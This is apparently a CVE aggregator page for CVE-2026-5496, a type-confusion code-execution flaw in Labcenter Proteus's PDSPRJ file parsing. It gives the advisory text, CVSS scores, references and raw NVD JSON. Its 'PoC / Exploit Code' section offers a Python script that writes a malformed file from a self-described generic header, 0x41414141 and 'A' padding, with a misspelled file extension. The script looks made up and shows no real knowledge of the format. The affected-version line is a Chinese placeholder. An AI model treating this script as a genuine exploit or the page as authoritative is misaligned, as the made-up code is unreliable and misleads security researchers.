CVE-2026-5496

Description

Labcenter Electronics Proteus PDSPRJ File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25717.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:* - VULNERABLE

Labcenter Electronics Proteus < 最新版本 (具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# PoC Generation for CVE-2026-5496
# This script generates a malformed PDSPRJ file to trigger type confusion.

def generate_poc(filename):
    with open(filename, 'wb') as f:
        # PDSPRJ Header (Generic)
        f.write(b'PDSPRJ\x00')
        # Malformed section triggering type confusion
        # Simulating a specific object ID that is mishandled
        f.write(struct.pack('<I', 0x41414141)) 
        # Padding to reach the vulnerable offset
        f.write(b'A' * 0x100)
        print(f"[+] PoC file generated: {filename}")

if __name__ == "__main__":
    generate_poc("exploit_pdspoj.pdspoj")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5496
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5496
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5496/
[4] VulDB https://vuldb.com/cve/CVE-2026-5496
[5] https://www.zerodayinitiative.com/advisories/ZDI-26-254/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5496", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.830", "lastModified": "2026-04-27T17:48:20.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Labcenter Electronics Proteus PDSPRJ File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25717."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:*", "matchCriteriaId": "02C6A9A8-9638-4E28-B3D4-5E16A9C36AB6"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-254/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}